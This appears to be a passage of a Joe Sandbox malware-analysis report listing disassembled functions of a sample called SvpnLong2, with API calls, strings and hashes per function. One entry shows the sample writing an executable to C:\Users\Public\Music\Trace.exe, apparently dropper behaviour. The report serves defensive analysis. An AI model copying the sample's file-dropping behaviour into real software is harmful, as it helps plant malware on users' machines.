Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: File$Windowlstrlen$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleTextTimeWaitWritewsprintf
String ID:
API String ID: 3163932117-0
Opcode ID: d7b798f28ca710dc218c424e4ffe91707bd86e682134cd998386db3cd47beb47
Instruction ID: dcdc8bcdf83245c1dd52be5389c3d870cae643fc1f838a88490b494c58ae0027
Opcode Fuzzy Hash: d7b798f28ca710dc218c424e4ffe91707bd86e682134cd998386db3cd47beb47
Instruction Fuzzy Hash: D2314D71258A85C6E710DF51F85836AB7A2F798794F424016EA8E43EB4EF3CC5ADCB00

Function 00007FF7FC7D1110 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7FC7D114B
GetCurrentProcessId.KERNEL32 ref: 00007FF7FC7D115B
GetCurrentThreadId.KERNEL32 ref: 00007FF7FC7D1173
GetTickCount.KERNEL32 ref: 00007FF7FC7D118B
QueryPerformanceCounter.KERNEL32 ref: 00007FF7FC7D11A8

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: fe03dd27f0977dec820b676f5949c31d6c096f2d8143349134bd28f296e355cd
Instruction ID: 31f25f3c62839e8955845ccb08f1d1904bd0c02cb48f6def2094122b733506a9
Opcode Fuzzy Hash: fe03dd27f0977dec820b676f5949c31d6c096f2d8143349134bd28f296e355cd
Instruction Fuzzy Hash: D621E02161DF0585DB70DB49F85422AB7E0FB8CBA4F441235E99E877A8DF3CD2A48750

Function 021598D0 Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 02159907
GetCurrentProcessId.KERNEL32 ref: 02159912
GetCurrentThreadId.KERNEL32 ref: 0215991E
GetTickCount.KERNEL32 ref: 0215992A
QueryPerformanceCounter.KERNEL32 ref: 0215993B

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction ID: 9f56c347e12c84422d07c8234de7b4ce98a14e203d5ed117f8b106ebcc14fde9
Opcode Fuzzy Hash: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction Fuzzy Hash: 80015E35269A44C6EB40DF21F85C3997370F7A9B90F456A20EEAE477A4DB3CC9998340

Function 0214E600 Relevance: 7.5, APIs: 5, Instructions: 37sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 0214E625
WaitForSingleObject.KERNEL32 ref: 0214E635
CloseHandle.KERNEL32 ref: 0214E642
Sleep.KERNEL32 ref: 0214E64D
CloseHandle.KERNEL32 ref: 0214E673

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CloseHandle$ObjectSingleSleepTerminateThreadWait
String ID:
API String ID: 3303361366-0
Opcode ID: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction ID: 36dc5f3c7367bdd121a6ff31ccc798c92aae921baf5a609fcab65a5d824e0555
Opcode Fuzzy Hash: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction Fuzzy Hash: 35014C32615B80C6EB548F35F89C3AE7361F798B44F494221DAAE03725DF38D58AC340

Function 01E63A64 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 01E62CEC: _getptd.LIBCMT ref: 01E62CFE

_errno.LIBCMT ref: 01E63A91
_invalid_parameter_noinfo.LIBCMT ref: 01E63A9C

Part of subcall function 01E68670: iswctype.LIBCMT ref: 01E686DD

Strings

Z, xrefs: 01E63ADA
A, xrefs: 01E63AD4

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfoiswctype
String ID: A$Z
API String ID: 3686281101-4098844585
Opcode ID: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction ID: 98e9ec8a655992aa67318588d7540a5c04c35bd590791d5d4b85be52589e3745
Opcode Fuzzy Hash: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction Fuzzy Hash: 3A212530994B9A8FD770EB1C805467EBBE8FB543A5FD8225AA4DEC7190C664C880D382

Function 01E70EC9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 01E70ED1
_getptd.LIBCMT ref: 01E70F93
_getptd.LIBCMT ref: 01E70F9F

Strings

csm, xrefs: 01E70F53

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction ID: d929a7488de56154a6c874d22c0d30452bda0459beb9fc845fcb7d5ece03cf5e
Opcode Fuzzy Hash: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction Fuzzy Hash: 1C317170218B45CFEB68EF5CD480B6DB3E1FB99314F40166DE48A83652D731E946CB86

Function 0216312C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 02163167
_errno.LIBCMT ref: 02163171
_invalid_parameter_noinfo.LIBCMT ref: 02163178

Strings

-, xrefs: 02163193

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: db6bbf44285abe7b96fb48bd68a4250f9ae02bad1609ade60c914bb13a8901f9
Instruction ID: 7b7616c4f4e151e0edf6decdd65367af21542b747b75a83e3488ded38d4271b6
Opcode Fuzzy Hash: db6bbf44285abe7b96fb48bd68a4250f9ae02bad1609ade60c914bb13a8901f9
Instruction Fuzzy Hash: 13312622344AC48ADB219F25E90876EB7A1F785FE8F544266DFA807B98DF3DC055CB10

Function 021540AC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 02153334: _getptd.LIBCMT ref: 02153346

_errno.LIBCMT ref: 021540D9
_invalid_parameter_noinfo.LIBCMT ref: 021540E4

Part of subcall function 02158CB8: iswctype.LIBCMT ref: 02158D25

Strings

A, xrefs: 0215411C
Z, xrefs: 02154122

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfoiswctype
String ID: A$Z
API String ID: 3686281101-4098844585
Opcode ID: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction ID: 08a45bc4c46a5992747b2d557de8b2b4d9b116a1523b88282d25abc8455d9ce2
Opcode Fuzzy Hash: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction Fuzzy Hash: 3821D3B2A547B1C6DB309F15908017DB7A1E350BE5B988292EFF917798DB38D4C1C704

Function 02163728 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 02163741
_invalid_parameter_noinfo.LIBCMT ref: 0216374D
_errno.LIBCMT ref: 02163774

Strings

1, xrefs: 021637C3

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: 1
API String ID: 2819658684-2212294583
Opcode ID: 50368264324e67616dc9389bf485da506899b9637ca3f8622b1fbf59746f219f
Instruction ID: f46f7e80aeb55b901c3a7faa34d6c4e08d2a9588d3e35aa1c18a4ae91fa4bbed
Opcode Fuzzy Hash: 50368264324e67616dc9389bf485da506899b9637ca3f8622b1fbf59746f219f
Instruction Fuzzy Hash: 1C1136A22996D0CAEB1B8F38840833C6E55DB01F84F8AC0E1CB3207353D72EC960CB11

Function 00007FF7FC7F0A50 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF7FC7F0B32

Strings

("Invalid error_mode", 0), xrefs: 00007FF7FC7F0ACE, 00007FF7FC7F0B2B
_set_error_mode, xrefs: 00007FF7FC7F0B24
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c, xrefs: 00007FF7FC7F0AE3, 00007FF7FC7F0B1D

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid error_mode", 0)$_set_error_mode$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c
API String ID: 2123368286-2972513288
Opcode ID: 780070c811e0a86c27645f1da2f104d2ee874720fb7e686ae43de48b3051d7e0
Instruction ID: c0bd1e7dabf8f9b0fef841edf391bb1e1e71eb0259141ed40f79dc661bcde0b0
Opcode Fuzzy Hash: 780070c811e0a86c27645f1da2f104d2ee874720fb7e686ae43de48b3051d7e0
Instruction Fuzzy Hash: F9211A7592C2428AE350AB14F48476AB7A5FB88344F901136E57A82BD4DBBCE644DBF0

Function 02153290 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 0215329E
malloc.LIBCMT ref: 021532AA

Part of subcall function 02155728: _FF_MSGBANNER.LIBCMT ref: 02155758
Part of subcall function 02155728: RtlAllocateHeap.NTDLL ref: 0215577D
Part of subcall function 02155728: _callnewh.LIBCMT ref: 02155796
Part of subcall function 02155728: _errno.LIBCMT ref: 021557A1
Part of subcall function 02155728: _errno.LIBCMT ref: 021557AC

std::exception::exception.LIBCMT ref: 02153317

Strings

bad allocation, xrefs: 021532E7

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _callnewh_errno$AllocateHeapmallocstd::exception::exception
String ID: bad allocation
API String ID: 608171114-2104205924
Opcode ID: e4933d35d04738fe48630a5a9e6e3896ebd3c4167c8ff49aa8f67c5aa77d4a66
Instruction ID: d1773287835c5108d78c56bfb03b4c1eadb4f9ccb114191bb083e24d7bd9a2db
Opcode Fuzzy Hash: e4933d35d04738fe48630a5a9e6e3896ebd3c4167c8ff49aa8f67c5aa77d4a66
Instruction Fuzzy Hash: A6015A35780B65D5EF24EB20F858399B7A1A7983C4F8804A5CD6D47764EF7CC299CB00

Function 0214F2D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0214F303
WriteFile.KERNEL32 ref: 0214F339
CloseHandle.KERNEL32 ref: 0214F344

Strings

C:\Users\Public\Music\Trace.exe, xrefs: 0214F2DC

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\Public\Music\Trace.exe
API String ID: 1065093856-248444187
Opcode ID: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction ID: f8c5e36e798bb78ffe225b07cfad8152e9a7ccd64cbe148909cf46f8e995b79e
Opcode Fuzzy Hash: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction Fuzzy Hash: EC016D7271478087E7508F65F95D79AB3A0F7987F8F450325EAAA43B98DBBCC5448B00

Function 00007FF7FC7C5A40 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7FC7C5A4F
GetProcAddress.KERNEL32 ref: 00007FF7FC7C5A6E

Strings

mscoree.dll, xrefs: 00007FF7FC7C5A48
CorExitProcess, xrefs: 00007FF7FC7C5A62

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 9da1ec234708e976d00def36091284c067989b1e948ed4157fc58b7062b116bd
Instruction ID: 095701b9b40808425adef72de8c183b0276eea195ee0307cc98a210f5ec3e740
Opcode Fuzzy Hash: 9da1ec234708e976d00def36091284c067989b1e948ed4157fc58b7062b116bd
Instruction Fuzzy Hash: 1BF01C32928A4186D324EB40F488369BB60FB88398FD40136D69E426F4DF3CDA64DB54

Function 02154F58 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,000000FF,02154FA1,?,?,00000028,02155771,?,?,04232ED000000000,0215532C,?,?,00000000,02159B11), ref: 02154F67
GetProcAddress.KERNEL32(?,?,000000FF,02154FA1,?,?,00000028,02155771,?,?,04232ED000000000,0215532C,?,?,00000000,02159B11), ref: 02154F7C

Strings

CorExitProcess, xrefs: 02154F72
mscoree.dll, xrefs: 02154F60

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: a2fcaf62532c29e7fde41b5b5f8bf500e2a8f0a554bc3f4e24468edd8fd13a2e
Instruction ID: 9aae7f91b802a28f6eb85ab86cd7c5eb97d1c6f77111eb2fcf0f96c2ab7b6d1c
Opcode Fuzzy Hash: a2fcaf62532c29e7fde41b5b5f8bf500e2a8f0a554bc3f4e24468edd8fd13a2e
Instruction Fuzzy Hash: 05D09B7175271082FF196FA5A89C3AD13546B68741F4D147DD81E06351DF3CC59DC314

Function 02156894 Relevance: 6.4, APIs: 5, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 021552FC: malloc.LIBCMT ref: 02155327
Part of subcall function 021552FC: Sleep.KERNEL32(?,?,00000000,02159B11,?,?,00000000,02159BBB,?,?,?,?,?,?,00000000,0215492C), ref: 0215533A

free.LIBCMT ref: 021569C0
free.LIBCMT ref: 021569DC

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: free$Sleepmalloc
String ID:
API String ID: 1995388493-0
Opcode ID: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction ID: 7f0703da839b476309ce751a0b4985bb4c64297b3f4b101ad1209b6fce96218b
Opcode Fuzzy Hash: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction Fuzzy Hash: 7741A932381B94EBDB15DF26E88039933A8FB84B94F844569AFAD47B10DF38D465C740

Function 02159DC0 Relevance: 6.2, APIs: 4, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 02159E0E
_invalid_parameter_noinfo.LIBCMT ref: 02159E19
RtlDecodePointer.NTDLL ref: 02159EC8
_lock.LIBCMT ref: 02159EF3

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: DecodePointer_errno_invalid_parameter_noinfo_lock
String ID:
API String ID: 27599310-0
Opcode ID: 30f8edafaae222c627627e5185ffffaaa4085b933e0f9a598cc6ad974c907607
Instruction ID: 8c4097cfc5924e469b28e3d812ae3bf66c9ff246c6eba821fb9d0acd9a04b684
Opcode Fuzzy Hash: 30f8edafaae222c627627e5185ffffaaa4085b933e0f9a598cc6ad974c907607
Instruction Fuzzy Hash: 3851F532384760C6DB29DB18E69833A7762F784748F698496DE7B03714DB39D481C783

Function 01E70AFC Relevance: 6.2, APIs: 4, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 01E70100: _getptd.LIBCMT ref: 01E70104

_getptd.LIBCMT ref: 01E70B3B
_SetImageBase.LIBCMT ref: 01E70C0E
_getptd.LIBCMT ref: 01E70C3C
_getptd.LIBCMT ref: 01E70C4A

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _getptd$BaseImage
String ID:
API String ID: 2482573191-0
Opcode ID: af5f9acc29257a75163b341382d3d9079731c94abf06afe1f914a7fc080a4b22
Instruction ID: 9900078a42d555d015139bd87c54e59783165c6b569b6177dc6f0124a3b63627
Opcode Fuzzy Hash: af5f9acc29257a75163b341382d3d9079731c94abf06afe1f914a7fc080a4b22
Instruction Fuzzy Hash: F9412B31124B064EF318BB6CE4451FD73D1FB56328F6466AEE046C71A5DA74E982C381

Function 02162EBC Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02153334: _getptd.LIBCMT ref: 02153346

_errno.LIBCMT ref: 02162EFA
_invalid_parameter_noinfo.LIBCMT ref: 02162F04
_errno.LIBCMT ref: 02162F28
_invalid_parameter_noinfo.LIBCMT ref: 02162F32

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd
String ID:
API String ID: 1297830140-0
Opcode ID: 1a8a4577df26bb9c911d828d0d8bc8a52fc454feb9f506b2457f655f52e7c9a9
Instruction ID: 5473e194e8e71a9640ae35c51338e077a4db4538a53c205fe52fc3b12497e50c
Opcode Fuzzy Hash: 1a8a4577df26bb9c911d828d0d8bc8a52fc454feb9f506b2457f655f52e7c9a9
Instruction Fuzzy Hash: 174112322947D0CADB25DF25D58827EBBA1F784BD0F4481A1DFA943B65CB38C06ACB01

Function 01E6E7B4 Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 01E6E7D3
_invalid_parameter_noinfo.LIBCMT ref: 01E6E7DF
_errno.LIBCMT ref: 01E6E809
_errno.LIBCMT ref: 01E6E86B

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction ID: 31ddb584ec7a84864fea432f1691e22c4107493344f20007bf082cdadbe63b52
Opcode Fuzzy Hash: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction Fuzzy Hash: F7317B24648BCB8AD70D8A2C904833DBBC9EB6A385F9C22BED187C72D3D965C8018351

Function 02151B40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 02151B75
realloc.LIBCMT ref: 02151BD4

Part of subcall function 02153D68: malloc.LIBCMT ref: 02153D85

IsBadCodePtr.KERNEL32 ref: 02151C59
SetLastError.KERNEL32 ref: 02151C7D

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Code$ErrorLastmallocrealloc
String ID:
API String ID: 797104909-0
Opcode ID: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction ID: 575b0a801e63661b46a6b9d054735841cc57f5c8a889b652c24e43947115457b
Opcode Fuzzy Hash: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction Fuzzy Hash: 04418E32745B98D7DB259B16F8403AAB3A0F788B98F494465DFAE47B14DF39E480D700

Function 02161144 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02160748: _getptd.LIBCMT ref: 0216074C

_getptd.LIBCMT ref: 02161183

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

_SetImageBase.LIBCMT ref: 02161256
_getptd.LIBCMT ref: 02161284
